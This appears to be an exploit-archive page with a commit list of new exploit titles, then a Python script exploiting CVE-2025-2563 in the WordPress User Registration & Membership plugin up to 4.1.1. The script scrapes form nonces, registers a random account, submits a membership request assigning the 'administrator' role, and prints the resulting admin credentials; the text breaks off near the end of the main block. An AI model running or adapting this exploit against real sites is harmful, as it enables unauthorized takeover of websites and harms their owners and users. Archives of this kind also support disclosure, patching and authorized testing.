
9 changes to exploits/shellcodes/ghdb InfluxDB OSS 2.7.11 - Operator Token Privilege Escalation Sony XAV-AX5500 1.13 - Firmware Update Validation Remote Code Execution (RCE) GeoVision GV-ASManager 6.1.0.0 - Information Disclosure Jasmin Ransomware - Arbitrary File Download (Authenticated) jQuery 3.3.1 - Prototype Pollution & XSS Exploit Nagios Xi 5.6.6 - Authenticated Remote Code Execution (RCE) UNA CMS 14.0.0-RC - PHP Object Injection WordPress User Registration & Membership Plugin 4.1.1 - Unauthenticated Privilege Escalation
126 lines
No EOL
4 KiB
Text
126 lines
No EOL
4 KiB
Text
# Exploit Title: WordPress User Registration & Membership Plugin <= 4.1.1 - Unauthenticated Privilege Escalation
|
|
# Exploit Author: Al Baradi Joy
|
|
# Date: 2025-04-07
|
|
# Vendor Homepage: https://wordpress.org/plugins/user-registration/
|
|
# Software Link:
|
|
https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip
|
|
# Version: <= 4.1.1
|
|
# Tested on: WordPress 6.4.3
|
|
# CVSS: 9.8 (CRITICAL)
|
|
# CWE: CWE-269
|
|
# References:
|
|
# https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
|
|
# https://patchstack.com/database/wordpress/plugin/user-registration/vulnerability/wordpress-user-registration-membership-plugin-4-1-2-unauthenticated-privilege-escalation-vulnerability
|
|
# https://nvd.nist.gov/vuln/detail/CVE-2025-2563
|
|
|
|
import re
|
|
import json
|
|
import requests
|
|
import random
|
|
import string
|
|
from urllib.parse import urljoin
|
|
|
|
def banner():
|
|
print("\n[+] CVE-2025-2563 - WP User Registration Privilege Escalation")
|
|
print("[+] Made By Al Baradi Joy\n")
|
|
|
|
def randstring(n=8):
|
|
return ''.join(random.choices(string.ascii_lowercase, k=n))
|
|
|
|
def get_regex(content, pattern, group=1, name=""):
|
|
match = re.search(pattern, content)
|
|
if not match:
|
|
raise ValueError(f"[-] Could not extract {name} (Pattern:
|
|
{pattern})")
|
|
return match.group(group)
|
|
|
|
def exploit(target):
|
|
session = requests.Session()
|
|
username = randstring()
|
|
password = randstring() + "!@"
|
|
email = f"{username}@exploit.test"
|
|
|
|
try:
|
|
print("[+] Getting registration page...")
|
|
r = session.get(urljoin(target, "/membership-registration/"),
|
|
timeout=10)
|
|
r.raise_for_status()
|
|
page = r.text
|
|
|
|
nonce = get_regex(page,
|
|
r'"user_registration_form_data_save":"(.*?)"', name="nonce")
|
|
formid = get_regex(page, r"id='user-registration-form-([0-9]+)'",
|
|
name="formid")
|
|
memval = get_regex(page,
|
|
r'id="ur-membership-select-membership-([0-9]+)', name="membership value")
|
|
memname = get_regex(page,
|
|
r'data-field-id="membership_field_([0-9]+)"', name="membership field name")
|
|
front_nonce = get_regex(page, r'name="ur_frontend_form_nonce"
|
|
value="(.*?)"', name="frontend_nonce")
|
|
loc_nonce = get_regex(page, r'ur_membership_frontend_localized_data
|
|
= {"_nonce":"(.*?)"', name="localized_frontend_nonce")
|
|
|
|
print("[+] Submitting registration form...")
|
|
form_data = [
|
|
{"field_name": "user_login", "value": username, "field_type":
|
|
"text", "label": "Username"},
|
|
{"field_name": "user_email", "value": email, "field_type":
|
|
"email", "label": "User Email"},
|
|
{"field_name": "user_pass", "value": password, "field_type":
|
|
"password", "label": "User Password"},
|
|
{"field_name": "user_confirm_password", "value": password,
|
|
"field_type": "password", "label": "Confirm Password"},
|
|
{"value": memval, "field_type": "radio", "label": "membership",
|
|
"field_name": f"membership_field_{memname}"}
|
|
]
|
|
|
|
payload = {
|
|
"action": "user_registration_user_form_submit",
|
|
"security": nonce,
|
|
"form_data": json.dumps(form_data),
|
|
"form_id": formid,
|
|
"registration_language": "en-US",
|
|
"ur_frontend_form_nonce": front_nonce,
|
|
"is_membership_active": memval,
|
|
"membership_type": memval
|
|
}
|
|
|
|
r2 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"),
|
|
data=payload, timeout=10)
|
|
|
|
if '"success":true' not in r2.text:
|
|
print("[-] Registration form failed.")
|
|
return
|
|
|
|
print("[+] Sending membership registration as administrator...")
|
|
member_payload = {
|
|
"action": "user_registration_membership_register_member",
|
|
"security": loc_nonce,
|
|
"members_data": json.dumps({
|
|
"membership": "1",
|
|
"payment_method": "free",
|
|
"start_date": "2025-3-29",
|
|
"username": username,
|
|
"role": "administrator"
|
|
})
|
|
}
|
|
|
|
r3 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"),
|
|
data=member_payload, timeout=10)
|
|
|
|
if '"success":true' in r3.text:
|
|
print("[+] Exploit Successful!")
|
|
print(f"[+] Admin Username: {username}")
|
|
print(f"[+] Admin Password: {password}")
|
|
else:
|
|
print("[-] Membership escalation failed.")
|
|
|
|
except Exception as e:
|
|
print(f"[-] Exploit failed: {str(e)}")
|
|
|
|
if __name__ == "__main__":
|
|
banner()
|
|
target = input("Enter target WordPress site (e.g., http://example.com):
|
|
").strip().rstrip('/')
|
|
if not target.startswith("http"):
|
|
target = "http: |